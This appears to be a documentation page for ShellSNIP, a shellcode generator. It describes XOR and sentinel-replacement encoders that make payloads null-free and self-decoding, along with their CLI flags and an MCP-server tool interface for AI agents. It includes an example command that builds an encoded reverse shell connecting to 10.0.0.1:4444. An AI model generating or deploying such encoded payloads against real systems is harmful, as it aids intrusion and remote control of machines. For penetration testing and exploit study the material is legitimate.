Guides

Encoding

Post-compile shellcode encoders (XOR, chunk) and how to use them.

Encoding

ShellSNIP includes a pluggable post-compile encoding framework. Encoders receive the compiled shellcode bytearray and return a complete NASM program (a decoder stub plus the encoded payload as db directives), which ShellSnip.encode() re-compiles into the final self-decoding binary.

Encoders are registered in EncoderRegistry (app/encoders/registry.py, a singleton) and auto-registered on import of app.encoders (app/encoders/__init__.py).

xor

Single-byte XOR encoder (app/encoders/xor.py). Every byte is transformed as payload[i] ^ key.

  • If key is omitted, the encoder scans 0x01–0xFF for the first value not present in the payload, guaranteeing a null-free result.
  • If key is provided and produces null bytes anywhere in the output, encode() raises ValueError listing the offending offsets.
  • key = 0x00 is rejected (ValueError) since it is a no-op.
  • The decoder stub is loaded from templates/decoders/{os}_{arch}/xor_decoder.asm and uses a jmp/call/pop pattern to locate its own encoded payload at runtime.
./generate.py --os posix --enc xor --enc-key 0x41 -o revshell.raw connect 10.0.0.1 4444

chunk

Sentinel-replacement encoder (app/encoders/chunk.py), inspired by the polymorphic chunking technique from Exploit-DB #51189. Every 0x00 byte in the payload is replaced with a sentinel byte; the decoder stub scans the payload at runtime and patches every sentinel occurrence back to 0x00.

  • If sentinel is omitted, the encoder tries 0x90 (NOP) first, then scans 0x01–0xFF for an unused value.
  • If sentinel is provided and already appears in the payload, encode() raises ValueError.
  • sentinel = 0x00 is rejected since it is the byte being eliminated.
  • The decoder stub is loaded from templates/decoders/{os}_{arch}/chunk_decoder.asm.
./generate.py --os win --enc chunk --enc-key 0x90 -o payload.raw exec calc.exe

CLI key mapping

The CLI maps the generic --enc-key flag to the encoder-specific parameter name: key for xor, sentinel for chunk (see generate.py).

Encoder metadata

Both encoders return a (nasm_code, metadata) tuple. metadata always includes encoder, original_size, encoded_size, and null_free; xor additionally reports key, and chunk reports sentinel and null_count.

Via the MCP server

The encode_shellcode tool accepts either pre-compiled hex bytes (input_type="hex") or ShellSNIP template/ASM code (input_type="asm", compiled first via the same NASM pipeline), plus encoder_params (e.g. {"key": 65} or {"sentinel": 144}). See MCP Server for the full tool reference.

Use list_encoders (CLI: encoder names are listed in --enc's choices; MCP: the list_encoders tool) to discover available encoders and their parameters at runtime.

Copyright © 2026